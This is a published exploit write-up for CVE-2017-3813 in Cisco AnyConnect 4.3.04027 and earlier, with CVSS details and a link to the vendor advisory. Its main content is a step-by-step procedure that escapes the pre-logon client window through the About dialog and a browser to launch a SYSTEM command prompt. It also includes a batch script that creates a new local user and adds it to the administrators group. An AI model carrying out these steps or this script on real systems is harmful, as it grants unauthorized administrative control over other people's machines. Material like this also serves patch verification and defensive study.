Cisco AnyConnect Start Before Logon (SBL) local privilege escalation

Published
Credit
Risk
2017.03.01
Pcchillin
Medium
CWE
CVE
Local
Remote
N/A
CVE-2017-3813
Yes
No

CVSS Base Score
Impact Subscore
Exploitability Subscore
7.2/10
10/10
3.9/10
Exploit range
Attack complexity
Authentication
Local
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Complete
Complete
Complete

# Exploit Title: Cisco AnyConnect Start Before Logon (SBL) local privilege escalation. CVE-2017-3813
# Date: 02/27/2017
# Exploit Author: @Pcchillin
# Software Link: http://www.cisco.com/c/en/us/support/security/anyconnect-secure-mobility-client/tsd-products-support-series-home.html
# Version: 4.3.04027 and earlier
# Tested on: Windows 10
# CVE : CVE-2017-3813
# Vendor ID : cisco-sa-20170208-anyconnect


#Run CMD.EXE with system privileges
1. Start Cisco anyconnect from logon screen.
2. Once the Cisco app comes up (where you can select a profile and hit connect) hold CTRL and hit B.
3. When the Cisco about window appears then select the URL at the bottom. This will open Internet Explorer or you can select Chrome if installed.
4. Once Internet Explorer is started press CTRL-O, then select browse. Chrome press CTRL-O and explorer will open.
5. You can then navigate to the C:\Windows\System32\ folder and find CMD.exe then right click and select RunAsAdministrator.


#Run scripts from USB flash drive
Follow steps from above and navigate to the flash drive right click and select run. You can also edit the document.
Example bat script:
Net user #USERNAME #PASSWORD /add
Net localgroup administrators #USERNAME /add


#Vendor link to advisory: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170208-anyconnect
#Twitter handle @pcchillin


See this note in RAW Version

 
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